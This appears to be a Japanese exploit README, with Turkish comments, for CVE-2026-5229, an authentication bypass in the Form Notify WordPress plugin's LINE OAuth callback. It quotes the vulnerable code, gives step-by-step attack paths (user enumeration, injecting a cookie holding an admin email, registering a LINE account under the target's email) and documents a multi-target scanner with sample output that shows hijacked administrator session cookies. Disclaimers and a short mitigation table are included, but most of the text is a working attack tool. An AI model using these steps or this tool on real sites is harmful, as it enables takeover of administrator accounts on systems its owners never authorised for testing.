
CVE-2026-5229: LINE OAuth コールバック経由の Form Notify 認証バイパス (CVSS 9.8)
CVE-2026-5229: LINE OAuth コールバック経由の Form Notify 認証バイパス (CVSS 9.8)
プラグイン: Form Notify (
form-notify) 脆弱性の種類: 未認証の LINE OAuth 認証バイパス → アカウント乗っ取り CVSS スコア: 9.8 (Critical) CVSS ベクター:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H影響を受けるバージョン: <= 1.1.10 パッチ適用済みバージョン: 1.1.11+ 研究者: Paolo Tresso — Wordfence
Form Notify プラグインは、フォーム送信後に通知を送信し、 LINE Login OAuth 2.0 連携を提供する WordPress プラグインです。
脆弱性は LINE OAuth コールバックハンドラに存在します。ユーザーが LINE 認証フローを完了した後、プラグインは WordPress アカウントをメールアドレスのみで解決します。LINE アカウントが その WordPress アカウントと以前に関連付けられているかどうかを 一切確認しません。
| バージョン | 脆弱性 | 攻撃手法 |
|---|
| <= 1.1.08 | Cookie Injection + Email Match | Path A または Path B |
| 1.1.09 – 1.1.10 | Email Match (cookie は削除済み) | Path B |
| 1.1.11+ | パッチ適用済み | — |
LINE OAuth コールバックエンドポイントは完全に公開されて登録されています:
// src/APIs/Line/Login/Route.php
register_rest_route(
'form-notify/v1',
'/callback',
array(
'methods' => 'GET',
'callback' => array( $this, 'get_api_callback' ),
'permission_callback' => function () {
return true; // kimlik doğrulama gerekmez
},
)
);
WordPress の nonce はCSRF トークンであり、認証トークンではありません。 すべての訪問者はページ HTML から有効な nonce を取得でき、検証 チェックを通過できます。
// Route.php — lines 115–116
$has_real_email = ! empty( $user->email );
$user_email = $has_real_email ? $user->email : $user_raw_id . '@line.com';
// User.php — is_member()
public function is_member( string $user_email, string $user_avatar ): bool {
$this->user = get_user_by( 'email', $user_email ); // sadece email ile arama
if ( ! is_wp_error( $this->user ) && $this->user ) {
return true; // linkage kontrolü YOK
}
return false;
}
一致が見つかると、login() メソッドが即座にセッションを開始します:
// User.php — login()
public function login( string $user_raw_id, string $user_email, ... ): void {
if ( ! is_user_logged_in() ) {
wp_clear_auth_cookie();
wp_set_current_user( $this->user->ID );
wp_set_auth_cookie( $this->user->ID, true, is_ssl() );
}
}
// Route.php (1.1.08) — lines 115–118
if ( isset( $_COOKIE['form_notify_line_email'] ) ) {
$line_email = sanitize_text_field(
wp_unslash( $_COOKIE['form_notify_line_email'] )
);
}
$user_email = ( $user->email ) ? $user->email : $line_email;
LINE プロフィールがメールを返さない場合 ($user->email が空)、
プラグインはブラウザの cookie を直接読み取ります。
攻撃者はこの cookie を完全に制御できます。
$session_state = get_transient( 'form_notify_line_state_' . $state );
if ( empty( $session_state ) ) {
// Transient yoksa $_SESSION'a düşer
$session_state = sanitize_text_field(
wp_unslash( $_SESSION[ 'form_notify_line_state_' . $state ] )
);
set_transient( 'form_notify_line_state_' . $state, $state, 60 * 60 );
}
Transient の有効期限が切れている場合、$_SESSION フォールバックが作動します。
ほとんどの WordPress 環境では、この時点で $_SESSION は空です →
state チェックを回避できます。
// sign_up() metodu
$userdata = array(
'user_pass' => $user_email, // şifre = email adresi
...
);
LINE OAuth フローで作成されたアカウントでは、パスワードはメールアドレスと 同じです。この状況は直接ブルートフォースまたはログイン攻撃を 可能にします。
| 理由 | 説明 |
|---|---|
| 認証が不要 | コールバックエンドポイントは完全に公開 |
| リンケージチェックなし | 任意の LINE アカウントで十分 |
| Cookie 攻撃 | <= 1.1.08 ではメールすら不要 |
| Admin を含む全アカウント | get_user_by('email') は全ユーザーに影響 |
| 脆弱な state チェック | CSRF 保護を回避可能 |
| メール = パスワード | OAuth で作成されたアカウントは簡単にブルートフォース可能 |
⚠️ 免責事項: この PoC は、教育および許可されたセキュリティテストの目的でのみ提供されています。明示的な許可なくシステムに対してテストを行うことは違法です。
前提条件:
TARGET="https://target.com"
# WordPress REST API'den kullanıcı listesi
curl -s "$TARGET/wp-json/wp/v2/users" | python3 -m json.tool
# Veya author sayfaları
curl -s "$TARGET/?author=1" -I | grep Location
ブラウザの開発者ツールを開き、コンソールに貼り付けます:
document.cookie = "[email protected]; path=/";
または curl を使用:
curl -v -b '[email protected]' \
"$TARGET/wp-json/form-notify/v1/login" 2>&1 | grep Location
Location ヘッダーの LINE OAuth URL をブラウザで開きます。
LINE の同意画面でメール許可を与えず、またはメールなしの LINE アカウントを使用します。LINE はメールなしでコールバックにリダイレクトします。 プラグインは cookie にフォールバックします。
curl -s -b 'wordpress_logged_in_XXXX=...' \
"$TARGET/wp-json/wp/v2/users/me" | python3 -m json.tool
期待される応答:
{
"id": 1,
"name": "admin",
"email": "[email protected]",
"roles": ["administrator"]
}
Path A のステップ 1 と同じ。
account.line.biz で対象メールを使って LINE アカウントを作成します。
(メール検証が必要です — 対象の受信トレイへのアクセスが必須です。)
https://target.com/wp-json/form-notify/v1/login
LINE の同意画面でメール許可を与えます。 LINE はメールアドレスをコールバックに返します。
Plugin: is_member('[email protected]')
→ get_user_by('email', '[email protected]')
→ Administrator bulundu
→ wp_set_auth_cookie(1)
→ Oturum açıldı ✓
git clone https://github.com/kullanici/form-notify-bypass
cd form-notify-bypass
pip install -r requirements.txt
requirements.txt
requests
python form_notify_rce.py -u http://hedef.com
python form_notify_rce.py -u http://hedef.com \
--email [email protected] \
--path A
python form_notify_rce.py -u http://hedef.com \
--email [email protected] \
--path B
python form_notify_rce.py -u http://hedef.com \
--email [email protected] \
--path both
python form_notify_rce.py -l targets.txt -t 15 -o sonuclar.txt
python form_notify_rce.py -u http://hedef.com \
--proxy http://127.0.0.1:8080
| パラメータ | 短縮形 | 説明 | デフォルト |
|---|---|---|---|
--url | -u | 単一ターゲット URL | — |
--list | -l | ターゲットリストファイル | — |
--threads | -t | スレッド数 | 10 |
--output | -o | 出力ファイル | auth_bypass.txt |
--email | — | 対象ユーザーのメール | 自動検出 |
--path | — | 攻撃パス (A / B / both) | both |
--max-users | — | ターゲットあたりの最大ユーザー数 | 5 |
--proxy | — | Proxy URL | — |
--timeout | — | リクエストタイムアウト (秒) | 10 |
| ステータス | 説明 |
|---|---|
★ AUTH OK | セッション cookie を取得 — 完全自動 |
★ WP-ADMIN | /wp-admin にリダイレクトされた |
~ MANUAL | OAuth URL 準備完了、ブラウザで完了 |
~ PATH B | LINE アカウントによる手動手順 |
- NO_PLUGIN | Form Notify がインストールされていない |
- NO_LINE | LINE Login が有効でない |
~ NO_TARGET | ユーザーのメールが見つからない |
~ UNREACH | ターゲットに到達できない |
[*] 3 hedef | Form Notify LINE OAuth Bypass | threads=10
[★ AUTH OK ] http://hedef1.com (Path A)
Hedef Email : [email protected]
Sürüm : 1.1.08
OAuth URL : https://access.line.me/oauth2/v2.1/authorize?...
Kullanıcı : admin <[email protected]> roles=['administrator']
Cookie : {'wordpress_logged_in_abc123': 'admin|...'}
[~ MANUAL ] http://hedef2.com (Path A — Manuel tamamlama)
Hedef Email : [email protected]
Cookie Set : [email protected]
OAuth URL : https://access.line.me/oauth2/v2.1/authorize?...
State : a1b2c3d4e5f6
[- NO_LINE ] http://hedef3.com (LINE Login aktif değil)
──────────────────────────────────────────────────────────────
DONE : 2
NO_LINE : 1
──────────────────────────────────────────────────────────────
Auth bypass → auth_bypass.txt
──────────────────────────────────────────────────────────────
| 対策 | 実装 |
|---|---|
| プラグインの更新 | Form Notify 1.1.11+ にアップグレード |
| LINE リンケージチェック | LINE ID をユーザーメタに保存し、ログインごとに検証 |
| Cookie フォールバックの削除 | $_COOKIE['form_notify_line_email'] の使用を削除 |
| State 検証 | Transient フォールバックを削除し、期限切れの state を拒否 |
| パスワードポリシー | sign_up() でメールをパスワードとして使用しない |
| REST エンドポイント保護 | コールバックエンドポイントにレート制限を適用 |
安全なアカウント解決の例:
// Güvensiz (mevcut)
$user = get_user_by( 'email', $line_email );
// Güvenli (önerilen)
$users = get_users( array(
'meta_key' => 'line_user_id',
'meta_value' => $line_user_id, // LINE ID ile eşleştir
) );
form-notify-bypass/
├── form_notify_rce.py # Ana tarayıcı
├── requirements.txt # Bağımlılıklar
└── README.md # Bu dosya
このツールおよび PoC は、許可されたシステムにおいて、教育目的および ペネトレーションテストの範囲内でのみ使用するために作成されています。 無許可のシステムでの使用は、トルコ刑法第 243〜245 条 および国際的なサイバー犯罪法に基づき犯罪行為となります。 開発者は、ツールの悪用によって生じるいかなる法的 責任も負いません。
MIT License — 教育および研究目的のみです。